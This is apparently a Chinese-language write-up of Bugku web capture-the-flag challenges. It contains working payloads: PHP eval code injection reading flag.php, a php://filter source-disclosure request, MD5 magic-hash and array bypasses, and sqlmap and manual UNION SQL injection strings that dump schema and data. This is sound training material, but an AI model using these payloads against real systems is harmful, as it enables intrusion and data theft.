WEB2
计算器
输入结果发现只能输入一位 F12找到 input属性 修改maxlength的值
查看代码 URL中输入?what=flag
WEB 基础$_POST
查看代码 用Firefox 的 hackbar 插件 post what=flag
矛盾
函数 is_numeric() 检测变量是否为数字或数字字符串
用科学计数法构造数字1
或者使用%00截断 ?num=1%00
WEB3
打开后发现一直弹窗 直接查看源码 在最后一行发现unicode码 解码获得flag
域名解析
题目要求把 flag.bugku.com 解析到 120.24.86.145
打开C:\WINDOWS\system32\drivers\etc\hosts
添加 flag.bugku.com 120.24.86.145 用浏览器打开flag.bugku.com获得flag
WEB5
查看网页源码发现 js代码 粘贴进F12控制台运行 获得flag
你必须让它停下
进入网页发现页面一直在刷新 结合题目名字 用bp抓包 Sent to Repeater之后go几次就发现了flag
头等舱
打开网页发现什么也没有 网页的隐藏属性 用bp抓包 go一下 就发现了flag
本地包含
方法(一)
分析代码发现 文件存在本地
构造playload /index.php?hello=1);print_r(file("flag.php") 就相当于eval( "1);print_r(file("./flag.php%22")")
方法(二)
直接给hello赋值 index.php?hello=file_get_contents(%27flag.php%27) 按F12 获得flag
变量1
通过分析代码想到 本地文件包含 eval()函数构造playload 但是 由于 过滤了符号 所以无法构造出来
于是想到使用$GLOBALS超全局变量 用数组方式查看flag1.php
playload ?args=GLOBALS
web-4
查看源码 发现var1和var2 是url编码 解码后根据代码公式拼接 输入后获得flag
flag在index里
点击链接发现url变成了http://120.24.86.145:8005/post/index.php?file=show.php
想到利用php://filter漏洞读出index源代码
构造payload http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
得到一段base64编码内容解码后获得flag
输入密码查看flag
直接burpsuit暴力破解
备份是个好习惯
打开网页 发现一堆编码 试过所有解码方式均无效 先放一边 根据题目提示备份文件 *.bak *.swp是一般备份文件后缀名
试着找这两个文件 访问http://120.24.86.145:8002/web16/index.php.bak下载到备份文件
另外也可以用脚本扫描发现内部文件地址 https://git.coding.net/yihangwang/SourceLeakHacker.git 脚本源码
打开bak文件分析源码 ①str_replace函数 清空key字符 可以使用双写绕过 kekeyy
②熟悉的md5问题 方法1 利用数组绕过 kekeyy1[]=a& kekeyy2[]=b 方法二 kekeyy1=240610708&kekeyy2=QNKCDZO
学成成绩查询
方法① sqlmap大法 :首先随便输入个数Submit 抓包 然后copy to file 以文本格式存在本地
开始跑 sqlmap : python sqlmap.py -r"D:\123txt" -p id --current-db
tips :-p 指定参数 -r 加载一个文件 --current-db 获取当前数据库
然后按顺序依次爆破 数据库—>表名—>列名—>字段内容 顺利获得flag
方法② 手工注入
随便输入一个数 发现有三个显示位 构造playload:?id=1' union select 1,2,3,4#
然后爆出数据库名 ?id=1' union select 1,2,3,database()# 数据库名 skctf_flag
?id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#
得到表名字 fl4g 然后查fl4g表的列名:
?id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name ='fl4g'#
得到列名字是skctf_flag与数据库名字重复了 最后查询skctf_flag列中字段内容
?id=1' union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g# 得到flag